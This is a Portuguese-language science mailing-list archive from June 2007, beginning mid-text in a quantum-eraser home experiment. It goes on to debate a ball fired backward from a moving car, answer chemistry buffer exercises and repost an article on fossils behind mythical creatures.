escuras). O padrão de interferência surge porque a luz passando à
esquerda do arame combina-se, ou "interfere", com a luz passando à
direita. Se um pedaço de papel é colocado logo após o arame, será
visível um lóbulo de luz a cada lado da sombra do arame. Os lóbulos se
expandem e se sobrepõem quase que completamente quando atingem a tela.
Para cada fóton individual que atinge a tela na região de
sobreposição, é impossível se dizer se ele veio da esquerda ou da
direita do arama e a combinação dos dois caminhos produz as franjas.
Embora esteja se vendo trilhões de fótons, cada um está interferindo
apenas consigo mesmo.

Figura:
Laser
Papel alumínio
Arame
Padrão de interferência
Detalhe:
A INTERFERÊNCIA observada é captada nesta fotografia. O tamanho e
outras características dos padrões ilustrados neste diagrama estão
exagerados.

3 de 6
2 - IDENTIFICANDO O CAMINHO
- Pegue dois polarizadores e rotacione um em relação ao outro de modo
que seus eixos fiquem perpendiculares entre si; se isso for feito
corretamente, ao se sobrepor os filmes temporariamente, nenhum luz
deve atravessar a região de sobreposição;
- Junte os dois filmes lado a lado com fita adesiva, sem nenhum espaço
ou sobreposição entre eles. Passe a fita na parte de cima e de baixo
de modo que ela não bloqueie a luz. Isso será chamado de identificador
de caminho.
- Posicione o etiquetador no feixe de modo que sua função fique
exatamente atrás do arame. Grudar o arame no identificador será muito
fácil. O arame e o identificador não serão mais movidos pelo resto do
experimento. Considera-se que o polarizador do lado esquerdo produz
luz polarizada verticalmente [V], e o do lado direito, luz polarizada
horizontalmente [H]. Não importa se essa atribuição for feita de modo
invertido.
O QUE OCORRE: Mesmo que a luz esteja também passando pelos dois lados
do arame, a franja deverá desaparecer. Se um fóton atinge a tela
passando pelo lado esquerdo do arame, ele o faz com polarização V; se
for pela direita do arame, com polarização H. Assim, o identificador
torna disponível a informação a respeito de qual caminho cada fóton
percorreu, o que previne a interferência.

Figura:
Arame
Identificador de caminho


4 de 6
3 - SELECIONANDO OS FÓTONS DA ESQUERDA
- posicione um terceiro polarizador (o "analisador") entre o
identificador e a tela na orientação V.
O QUE OCORRE: O analisador irá bloquear todos os fótons que passam
pela direita (que se tornam H polarizados pelo identificador) e
permitirá que todos os fótons da esquerda passem. O padrão será
praticamente idêntico à situação anterior - apenas mais fraco e não se
estendendo tanto à direita, porque há somente o lóbulo esquerdo da
luz. Com o analisador, está se acessando a informação que o
identificador tornou disponível: é possível saber que todos os fótons
atingindo a tela são os que passam pela esquerda do arame.

Figura:
Analisador [polarizador V]

4 - SELECIONANDO OS FÓTONS DA DIREITA
- coloque o analisador na orientação H.
O QUE OCORRE: O analisador H bloqueia o lóbulo esquerdo da luz e deixa
passar apenas o lóbulo direito. Se se medir a intendidade da luz (ou o
número de fótons) na tela, será constatado que a luz na etapa 2 é
simplesmente a soma da luz nas etapas 3 e 4. Observe que as franjas
estão ausentes na etapa 2, ainda que não se esteja medindo a
polarização dos fótons; basta que isso seja possível, como mostram as
etapas 3 e 4.

Figura:
Analisador [polarizador H]


5 de 6
5 - APAGANDO A INFORMAÇÃO SOBRE O CAMINHO
- Rotacione o polarizador no sentido do horário a 45o de V, em uma
orientação que pode ser chamada de diagonal [D].
O QUE OCORRE: As franjas reaparecem! Por quê? O polarizador está
apagando a informação sobre de que lado cada fóton veio. Agora, cada
fóton V da esquerda tem uma chance de 50 porcento de passar rumo à
tela, como também cada fóton H da direita. Nos dois casos, os fótons
que seguem tornam-se D polarizados, assim não há nenhum modo de se
dizer que caminho cada fóton tomou. Novamente, cada fóton
aparentemente passa pelos dois caminhos ao mesmo tempo e interfere
consigo mesmo.

Figura:
Apagador [polarizador D]

6 - O ANTI-APAGADOR
- Gire o polarizador no sentido anti-horário 45o a partir de V
["antidiagonal" ou "A"].
O QUE OCORRE: De nodo não há franjas - tudo o que foi dito na etapa 5
se aplica para um polarizador A apagador. Mas se se olhar mais de
perto, poderá se observar que as franjas estão deslocadas levemente
nos dois casos. As franjas A são claras onde as D são escuras e
vice-versa. Se se somar as intensidades, ou o número de fótons, dos
apagadores A e D, a soma deve dar, de novo, a forma da etapa 2, sem
nenhuma interferência visível.

Figura:
Apagador [polarizador A]

6 de 6
7 - AMBOS OS APAGADORES AO MESMO TEMPO
- Corte no meio um polarizador D e um polarizador A.
- Junte a metade de cima de D com a metade de baixo de A.
- Coloque no lugar o analisador híbrido.
O QUE OCORRE: As franjas D aparecem na metade de cima da luz e as
franjas A na metade de baixo. O padrão se parece um pouco com dentes
desalinhados e tornam patentes como as franjas claras e escuras de
cada apagador correspondem.

Figura:
Apagador híbrido [polarizadores A e D]

Conclusão
Pense sobre o que os fótons estão fazem em cada etapa.
- Em algumas etapas [3 e 4], cada fóton passa por um lado ou pelo
outro do arame [sem interferência], mas em outras [1, 5, 6 e 7], eles
aparentemente passam pelos dois lados ao mesmo tempo [produzindo
interferência].
- Nossa interpretação a respeito do que os fótons fizeram ao passar
pelo arame depende do que eles encontram *depois* no arranjo - seja um
analisador ou um apagador ou nada além da tela.
- As etapas 6 e 7 mostram que a informação "por qual caminho?"pode ser
apagada em mais de um modo, produzindo tanto o padrão original de
interferência como o seu inverso.

http://www.sciam.com/slideshow.cfm?articleid=DD39218F-E7F2-99DF-39D45DA3DD2602A1
----------------

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h: osresultados
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/06/2007 08:57

Vcs já pensaram na hipótese dos "100 km/h" da bola ser um pouquinho maior que os "100 km/h" do carro? As tolerâncias dos 'velocímetros' do carro e do lançador de bolas, com certeza, são diferentes!

Minha proposta para a resposta à pergunta do Takata é essa: Vbola ~> Vcarro. Essa diferença dá para ser avaliada pelo próprio vídeo, medindo dois 'quicares' sucessivos da bola contra o chão.

Meu argumento contra o "vácuo" é que, atrás do carro existe o turbilhão de Helmoths(?) [ver tal turbilhão em vídeos de túnel de vento] numa grande área, que pode influenciar o movimento de um 'grande' carro atrás do carro da frente, mas não o movimento de uma pequena bola! Não, não é o 'vácuo' a causa do arraste da bola no sentido do movimento do carro!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luis Brudna" <luisbrudna@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 19 de junho de 2007 07:26
Assunto: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h: osresultados


Pode ser o giro da bola?

O movimento de ar causado pelo carro tbem pode ser o motivo. Achei boa
a explicacao; :-)

Ateh
Luis Brudna


On 6/19/07, José Renato <jrma@terra.com.br> wrote:
> Bem recomendado, JC!
>
> Que tal vc deixar de se esconder atrás de sua "esperteza" e também dar sua
> explicação para o movimento da bola após lançada?
>
> []s
>
> JR



SUBJECT: RES: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h: osresultados
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/06/2007 09:18

A impressão que tenho é de que o Brudna tem razão. A bola parece descer
quase perfeitamente na vertical. Apenas quando toca o solo é que começa o
deslocamento em direção ao carro. Este comportamento me parece compatível
com alguma rotação gerada durante o arremesso.

Sds,

Ricardo

-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: terça-feira, 19 de junho de 2007 08:57
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
100Km/h: osresultados

Vcs já pensaram na hipótese dos "100 km/h" da bola ser um pouquinho maior
que os "100 km/h" do carro? As tolerâncias dos 'velocímetros' do carro e do
lançador de bolas, com certeza, são diferentes!

Minha proposta para a resposta à pergunta do Takata é essa: Vbola ~> Vcarro.
Essa diferença dá para ser avaliada pelo próprio vídeo, medindo dois
'quicares' sucessivos da bola contra o chão.

Meu argumento contra o "vácuo" é que, atrás do carro existe o turbilhão de
Helmoths(?) [ver tal turbilhão em vídeos de túnel de vento] numa grande
área, que pode influenciar o movimento de um 'grande' carro atrás do carro
da frente, mas não o movimento de uma pequena bola! Não, não é o 'vácuo' a
causa do arraste da bola no sentido do movimento do carro!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luis Brudna" <luisbrudna@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 19 de junho de 2007 07:26
Assunto: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
100Km/h: osresultados


Pode ser o giro da bola?

O movimento de ar causado pelo carro tbem pode ser o motivo. Achei boa
a explicacao; :-)

Ateh
Luis Brudna


On 6/19/07, José Renato <jrma@terra.com.br> wrote:
> Bem recomendado, JC!
>
> Que tal vc deixar de se esconder atrás de sua "esperteza" e também dar
sua
> explicação para o movimento da bola após lançada?
>
> []s
>
> JR



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SUBJECT: Paineis solares no google
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/06/2007 09:36

O Google estah utilizando paineis solares para gerar energia eletrica.

As informacoes estao disponiveis no link
http://www.google.com/corporate/solarpanels/home

Interessante o grafico de eletricidade gerada.

Ateh
Luis Brudna


SUBJECT: RES: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h: osresulta
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/06/2007 11:58

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> Este comportamento me parece compatível com alguma rotação gerada
> durante o arremesso.

Pra mim tb é pela rotação gerada pelo sistema lançador.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h: osresulta
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/06/2007 12:46

Mais uma vez, discordo (claro!).
Primeiro pela análise do sistema lançador (dois discos de mesmo raio, mesma velocidade angular e bola entra tangencialmente entre ambos ... não há motivo para obter rotação.
Segundo, se a bola caísse verticalmente (girando, segundo suas hipóteses), ela provavelmente sairia rolando pelo chão (p/ frente ou p/ trás, dependendo do sentido do giro) ... mas, não 'quicaria'!
Terceiro ... reparem bem ... a bola após o abandono ... não cai verticalmente e sim tem pequena velocidade inicial horizontal (para a esquerda do vídeo). Ele descreve um primeiro 'arco de parábola' antes de quicar pela primeira vez.

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


> Este comportamento me parece compatível com alguma rotação gerada
> durante o arremesso.

Pra mim tb é pela rotação gerada pelo sistema lançador.

[]s,

Roberto Takata




SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h: osresulta
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/06/2007 13:26

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Primeiro pela análise do sistema lançador (dois discos de mesmo
> raio, mesma velocidade angular e bola entra tangencialmente entre
> ambos ... não há motivo para obter rotação.

Isse se:
1) Ambos os rotores forem ativos;
2) Estiverem em perfeita sincronia.

Pelo q se vê no vídeo a uns 2min50s os dois rotores estão girando, o q
confirma 1, mas o de baixo parece rodar mais rapidamente, o q nega 2.

> mas, não 'quicaria'!

Opa! Quica sim. Basta pegar um bola de futebol e lançar para a frente
com as duas mãos, mas a fazendo girar para trás (a parte de cima da
bola vai para trás e a parte de baixo para a frente). A bola retorna
quicando para o lançador.

O quicar depende tão somente da bola cair de uma certa altura e o
impacto não ser totalmente inelástico. Afinal o q estaria sendo
convertido em energia cinética de movimento para a frente seria a
energia de rotação da bola e não a energia gravitacional potencial.

Pode até haver uma velocidade residual para a frente da bolinha - a
velocidade imprimida pelo lançador (em módulo) ser um pouco menor do q
a velocidade do veículo - mas ao q parece a bola adquire uma
velocidade horizontal maior após quicar no chão.

[]s,

Roberto Takata



SUBJECT: Exercícios de química
FROM: Phoenix Myth <phoenixclever@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/06/2007 14:55

Olá pessoal, seguem abaixo três exercícios sobre
pH/tampão que não estou conseguindo resolver. Será que
alguém pode me ajudar?

1) Você precisa de 0,1L de uma solução tampão com
pH=4,35. Na prateleira existe uma garrafa se doluçã
otampão ácido benzóico/benzoato de sódio com pH=3,95.
O rótulo também diz [benzoato]=0,2M. Que massa de qual
substância (ácido benzóico ou benzoato de sódio) você
deveria adicionar a 0,1L da solução tampão disponível
para obter o pH desejado?

2) Uma amostra que contém 60 mL de 0,1M NaHCO2(aq) foi
misturada com 4 mL de 0,07M HCl(aq). Calcule o pH e a
molaridade de HCOOH na solução mista.

3) (a) Use dados termodinâmicos para calulcar a
constante de acidez do ácido acético em água, em 298K.
Você precisará usar deltaGº(CH3CO2-)=-369,31 kJ/mol.
(b) Que massa de acetato de sódio deve ser adicionada
a 2,5 L de 1M CH3COOH para obter uma solução tampão
com pH=4,8?"

Respostas:
1) 4,35 g de benzoato de sódio
2) pH = 5,05; [HCOOH]=4,4 x 10-3 M
3) a) Ka = 1,74 x 10-5; b) 225 g





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SUBJECT: Re: Exercícios de química
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/06/2007 15:38

--- Em ciencialist@yahoogrupos.com.br, Phoenix Myth
> 1) Você precisa de 0,1L de uma solução tampão com
> pH=4,35. Na prateleira existe uma garrafa se doluçã
> otampão ácido benzóico/benzoato de sódio com pH=3,95.
> O rótulo também diz [benzoato]=0,2M. Que massa de qual
> substância (ácido benzóico ou benzoato de sódio) você
> deveria adicionar a 0,1L da solução tampão disponível
> para obter o pH desejado?

Equação de Henderson-Hasselbalch.

> 2) Uma amostra que contém 60 mL de 0,1M NaHCO2(aq) foi
> misturada com 4 mL de 0,07M HCl(aq). Calcule o pH e a
> molaridade de HCOOH na solução mista.

Estequiometria (balanceamento de equação) e Henderson-Hasselbalch.

> 3) (a) Use dados termodinâmicos para calulcar a
> constante de acidez do ácido acético em água, em 298K.
> Você precisará usar deltaGº(CH3CO2-)=-369,31 kJ/mol.
> (b) Que massa de acetato de sódio deve ser adicionada
> a 2,5 L de 1M CH3COOH para obter uma solução tampão
> com pH=4,8?"

deltaG = 2.303 RT * pKa - então, dá-lhe Henderson-Hasselbalch.

Para as massas, molaridade = mol/litro -> um mol -> massa molar ->
regra de três.

[]s,

Roberto Takata



SUBJECT: Re: Exercícios de química
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/06/2007 17:11

--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
> deltaG = 2.303 RT * pKa - então, dá-lhe Henderson-Hasselbalch.

2,303

[]s,

Roberto Takata



SUBJECT: RE: [ciencialist] Jogar uma bola a 100Km/h de um carro a 100Km/h: os resultados
FROM: "Ivan Carlos" <icarlos@icarlos.net>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/06/2007 17:20

Além do vácuo, note q o lançador de bolas, ao invés de trabalhar com propulsão a ar, ele lança a bola se utilizando de 2 rodas no qual podem não estar girando na mesma velocidade, a conseqüência é uma bola lançada com alguma força centrífuga causada pela diferença de rotação das 2 roldanas (se tirarmos a variável do vácuo, concluiríamos que a roldana inferior estava mais acelerada que a superior)


Ivan "Doomer" Carlos - CIO / Social Eng. Specialist
E-mail / Skype / WLM: icarlos@icarlos.net
Cell.: +55 (11) 8112-0666



-----Original Message-----
From: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br] On Behalf Of José Renato
Sent: Monday, June 18, 2007 10:32 PM
To: ciencialist@yahoogrupos.com.br
Subject: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a 100Km/h: os resultados

Teoricamente a bola deveria cair em queda livre no piso da pista.
No vídeo ela se desloca um pouco na direção em que o carro está indo...
Acompanha ainda que parcialmente o movimento do carro de onde foi lançada,
provavelmente devido ao "vácuo" provocado pelo deslocamento do carro no ar.
[]s
JR
...........................................

----- Original Message -----
From: "Kentaro Mori" <kentaro.mori@gmail.com>
To: <ciencialist@yahoogrupos.com.br>; <enigmasonline@yahoogrupos.com.br>;
"lista CA" <ceticismoaberto@yahoogrupos.com.br>
Sent: Wednesday, June 13, 2007 9:39 PM
Subject: [ciencialist] Jogar uma bola a 100Km/h de um carro a 100Km/h: os
resultados


Jogar uma bola a 100Km/h de um carro a 100Km/h: os
resultados<http://100nexos.com/arquivo/173>
<http://100nexos.com/arquivo/173#respond> Assista
ao vídeo

<http://100nexos.com/arquivo/173>O que acontece se você estver dentro de um
carro a 100Km/h e lançar uma bola no sentido contrário ao movimento do carro
a exatos 100Km/h? Este Grande Mistério da Humanidade foi solucionado, como
sempre, pela televisão japonesa (é um programa especializado em
trivialidades<http://www.youtube.com/results?search_query=%E3%83%88%E3%83%AA%E3%83%93%E3%82%A2%E3%81%AE%E6%B3%89&search=Search>).
Primeiro, mostram como farão a minivan percorrer o circuito e alcançar a
velocidade exata no ponto de início depois de uma volta. Depois, regulam o
lançador de bolas de tênis para a velocidade exata. E o resultado. Assista
ao vídeo, e se estiver impaciente, pule para os segundos finais.

[via Digg, Bernebauer
<http://www.bernabauer.com/experiencia-de-fisica/>, Sérgio
Lima<http://sergioflima.pro.br/blog/blogs/index.php/blogefisica/2007/06/13/velocidade_relativa_em_japones>
]

*Veja também:*
Jogo: administre o McDonald's <http://100nexos.com/arquivo/62> E não só uma
franquia. Das vacas &a...
Fonte permite a ilusão de controlar e reverter o
tempo<http://100nexos.com/arquivo/120>É o mesmo efeito que ocorre
quando voc&eci...
Dez coisas que você nunca deve comprar usadas (e dez que
deve)<http://100nexos.com/arquivo/88>Liz
Pulliam Weston do MSN Money dá as dicas...
O assassino desconhecido de Kennedy <http://100nexos.com/arquivo/112> Há
pouco um novo filme do dia fatíd...
Células-tronco + gordura = admiráveis seios
novos?<http://100nexos.com/arquivo/87>O cirurgião plástico japonês ...


[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/06/2007 18:27

A possibilidade da velocidade do carro ser um pouquinho maior que a da bola
ou a da bola um pouquinho menor que a do carro deve ser descartada, visto
que está afirmado que a velocidade de ambos é 100 km/h. Logo o teste só será
considerado conclusivo se as velocidades forem verificáveis no momento do
evento. Entretanto, mesmo que as velocidades da bola e a do carro estejam
perfeitamente iguais, o turbilhão de ar arrastará a bola no sentido do
deslocamento do carro. Isso é perceptível quando a bola cai ao solo pela
primeira vez, ela já tem uma trajetória com inclinação em relação à
perpendicular. Ricardo precisa rever o vídeo e verificar que a bola não cai
na vertical na primeira vez. A possibilidade da bola rolar devido ao giro
próprio existe, porém a inclinação da primeira trajetória ao chão já
interfere na análise dessa condição.

Teoricamente o carro sofre uma pequena aceleração ao ser disparada a bola,
aceleração referente à massa da bola expelida, mas não creio que seja tão
significativa a ponto de arrastar a bola de sua trajetória vertical
prevista. O mais provável ainda é o arraste provocado pelo deslocamento do
ar atrás do veículo.

Essa questão tem os mesmo elementos que o problema do avião sobre a esteira.
Para a medição da velocidade do carro é usado a pista-chão. Será que alguém
saberia dizer qual referencial está sendo usado para considerar a velocidade
do lançamento da bola em 100 km/hora?

Abraços

José Renato
......................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, June 19, 2007 8:57 AM
Subject: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
100Km/h:osresultados


Vcs já pensaram na hipótese dos "100 km/h" da bola ser um pouquinho maior
que os "100 km/h" do carro? As tolerâncias dos 'velocímetros' do carro e do
lançador de bolas, com certeza, são diferentes!

Minha proposta para a resposta à pergunta do Takata é essa: Vbola ~> Vcarro.
Essa diferença dá para ser avaliada pelo próprio vídeo, medindo dois
'quicares' sucessivos da bola contra o chão.

Meu argumento contra o "vácuo" é que, atrás do carro existe o turbilhão de
Helmoths(?) [ver tal turbilhão em vídeos de túnel de vento] numa grande
área, que pode influenciar o movimento de um 'grande' carro atrás do carro
da frente, mas não o movimento de uma pequena bola! Não, não é o 'vácuo' a
causa do arraste da bola no sentido do movimento do carro!

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Luis Brudna" <luisbrudna@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 19 de junho de 2007 07:26
Assunto: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
100Km/h: osresultados


Pode ser o giro da bola?

O movimento de ar causado pelo carro tbem pode ser o motivo. Achei boa
a explicacao; :-)

Ateh
Luis Brudna


On 6/19/07, José Renato <jrma@terra.com.br> wrote:
> Bem recomendado, JC!
>
> Que tal vc deixar de se esconder atrás de sua "esperteza" e também dar
> sua
> explicação para o movimento da bola após lançada?
>
> []s
>
> JR



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SUBJECT: A verdade sobre os monstros imaginários
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 19/06/2007 19:45

A verdade sobre os monstros
imagin�rios<http://www.ceticismoaberto.com/news/?p=911>

[original em Fogonazos<http://fogonazos.blogspot.com/2007/05/la-verdad-sobre-los-monstruos.html>,
tradu��o gentilmente autorizada. English
version<http://fogonazos.blogspot.com/2007/05/truth-about-mythic-creatures-dragons.html>
]
<http://iberoamericana-covarrubias.com/galeria.html>
<http://iberoamericana-covarrubias.com/galeria.html>


Perdidos na noite dos tempos, os primeiros homens devem ter se encontrado
com restos de criaturas cuja forma e tamanho n�o foram capazes de
interpretar. Durante s�culos, a mente dos humanos foi dando forma �queles
achados at� elaborar um cat�logo de seres fant�sticos para os quais a
paleontologia hoje disp�e de uma completa explica��o. "Criaturas M�ticas:
Drag�es, Unic�rnios e
Sereias<http://www.amnh.org/exhibitions/mythiccreatures/>"
� o t�tulo de uma interessante exibi��o que o Museu Americano de Hist�ria
Natural exp�e estes dias em Nova Iorque, e que trata de p�r ordem naquele
mundo de monstros imagin�rios. A seguinte entrada pretende ser um singelo e
esquem�tico resumo de t�o apaixonante quest�o.

*1. Ciclopes e elefantes*

Em 1924, enquanto investigava pelas ilhas do Mediterr�neo, o paleontologista
da Universidade de Viena, Othenio Abel, descobriu a exist�ncia de uma
esp�cie de mamutes an�es na zona cujos cr�nios possu�am um grande orif�cio
na zona frontal. Interessado pelos relatos de Homero, o professor Abel
chegou � conclus�o � hoje amplamente aceita � de que aqueles cr�nios haviam
induzido os gregos a acreditar na exist�ncia de seres de grande tamanho
providos de um �nico e enorme olho frontal: os ciclopes.

*2. Dinossauros e drag�es*

Sobre as extensas plan�cies do deserto de Gobi, os primeiros moradores da
Mong�lia devem ter descoberto as enormes colunas vertebrais dos
velociraptores, ainda abundantes na zona. As formas alargadas dos f�sseis
provavelmente induziram os chineses a acreditar na exist�ncia de gigantescas
criaturas em forma de serpente que hoje em dia conhecemos como drag�es. A
cren�a nestes seres se estendeu tamb�m para a Europa onde, em pleno s�culo
XIV, a localidade austriaca de Klagenfurt ainda exibia em sua pra�a
principal o cr�nio de um rinoceronte da idade do Gelo como se se tratasse da
cabe�a de um drag�o.

*3. Sereias e peixes-boi*

Influenciados pela vis�o de vacas marinhas e peixes-boi, os marinheiros de
todas as �pocas acreditaram distinguir entre as �guas a figura de belas
sereias. Em 1493, enquanto navegava perto do Haiti, o pr�prio Crist�v�o
Colombo relatou a vis�o de tr�s sereias e anotou em seu di�rio que, vistas
de perto, aquelas criaturas n�o pareciam t�o formosas como eram descritas.

*4. Unic�rnios e narvais*

Durante muitos anos, os chifres de narvais capturados em �guas do �rtico
circularam pelas cortes europ�ias medievais como a prova irrefut�vel da
exist�ncia dos unic�rnios. Seu chifre, comprido e torneado, era apreciado
por seu poder simb�lico e por possuir todo tipo de propriedades m�gicas e
curativas.

*5. Protoceratops e grifos*

O m�tico grifo � animal com corpo de le�o e cabe�a de �guia � foi amplamente
descrito por autores como Her�doto, �squilo ou Pl�nio o Velho, que o
localizavam nas montanhas dos escitas, onde guardavam ferozmente o ouro. A
semelhan�a f�sica do grifo com os restos do Protoceratops encontrados na
zona n�o resiste compara��o.

*6. Monstros marinhos*

At� meados do s�culo XVI numerosas cartas de navega��o inclu�am ilustra��es
que advertiam aos marinheiros sobre a presen�a de distintos monstros do mar.
Peixes gigantescos e criaturas capazes de mandar um navio a pique de uma s�
vez figuram em alguns dos mapas que sobreviveram, embora possivelmente o
mais conhecido e tem�vel seja o Kraken, o horr�vel monstro que � conforme
sabemos hoje � p�de ter sido inspirado pelo avistamentos de lulas gigantes
em alto mar.
[Original de Fogonazos <http://fogonazos.blogspot.com/>, indicado por Marcus
VBP <http://www.marcusvbp.com.br/>]

Postado em Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
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SUBJECT: RES: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/06/2007 19:53

JR, já revi, e continuo dizendo que a bola cai na vertical (com uma mínima
margem de erro). A não ser que consideremos seu referencial chão-esteira.
Aí ela cairá para cima! he he he

Mas, agora falando sério, revendo o vídeo, pude perceber que realmente a
roda de baixo parece girar em uma velocidade maior do que a de cima. Se não
for apenas impressão, será que é proposital? Para que a bola seja lançada
girando, "com efeito", e fique mais tempo no ar (com o mesmo princípio
aplicado na cobrança de falta, no futebol)?

Abs,

Ricardo


-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: terça-feira, 19 de junho de 2007 18:28
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
100Km/h:osresultados

A possibilidade da velocidade do carro ser um pouquinho maior que a da bola
ou a da bola um pouquinho menor que a do carro deve ser descartada, visto
que está afirmado que a velocidade de ambos é 100 km/h. Logo o teste só será

considerado conclusivo se as velocidades forem verificáveis no momento do
evento. Entretanto, mesmo que as velocidades da bola e a do carro estejam
perfeitamente iguais, o turbilhão de ar arrastará a bola no sentido do
deslocamento do carro. Isso é perceptível quando a bola cai ao solo pela
primeira vez, ela já tem uma trajetória com inclinação em relação à
perpendicular. Ricardo precisa rever o vídeo e verificar que a bola não cai
na vertical na primeira vez. A possibilidade da bola rolar devido ao giro
próprio existe, porém a inclinação da primeira trajetória ao chão já
interfere na análise dessa condição.

Teoricamente o carro sofre uma pequena aceleração ao ser disparada a bola,
aceleração referente à massa da bola expelida, mas não creio que seja tão
significativa a ponto de arrastar a bola de sua trajetória vertical
prevista. O mais provável ainda é o arraste provocado pelo deslocamento do
ar atrás do veículo.

Essa questão tem os mesmo elementos que o problema do avião sobre a esteira.

Para a medição da velocidade do carro é usado a pista-chão. Será que alguém
saberia dizer qual referencial está sendo usado para considerar a velocidade

do lançamento da bola em 100 km/hora?

Abraços

José Renato
......................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, June 19, 2007 8:57 AM
Subject: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
100Km/h:osresultados


Vcs já pensaram na hipótese dos "100 km/h" da bola ser um pouquinho maior
que os "100 km/h" do carro? As tolerâncias dos 'velocímetros' do carro e do
lançador de bolas, com certeza, são diferentes!

Minha proposta para a resposta à pergunta do Takata é essa: Vbola ~> Vcarro.
Essa diferença dá para ser avaliada pelo próprio vídeo, medindo dois
'quicares' sucessivos da bola contra o chão.

Meu argumento contra o "vácuo" é que, atrás do carro existe o turbilhão de
Helmoths(?) [ver tal turbilhão em vídeos de túnel de vento] numa grande
área, que pode influenciar o movimento de um 'grande' carro atrás do carro
da frente, mas não o movimento de uma pequena bola! Não, não é o 'vácuo' a
causa do arraste da bola no sentido do movimento do carro!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luis Brudna" <luisbrudna@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 19 de junho de 2007 07:26
Assunto: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
100Km/h: osresultados


Pode ser o giro da bola?

O movimento de ar causado pelo carro tbem pode ser o motivo. Achei boa
a explicacao; :-)

Ateh
Luis Brudna


On 6/19/07, José Renato <jrma@terra.com.br> wrote:
> Bem recomendado, JC!
>
> Que tal vc deixar de se esconder atrás de sua "esperteza" e também dar
> sua
> explicação para o movimento da bola após lançada?
>
> []s
>
> JR



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SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/06/2007 20:20

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> ou a da bola um pouquinho menor que a do carro deve ser descartada,
> visto que está afirmado que a velocidade de ambos é 100 km/h.

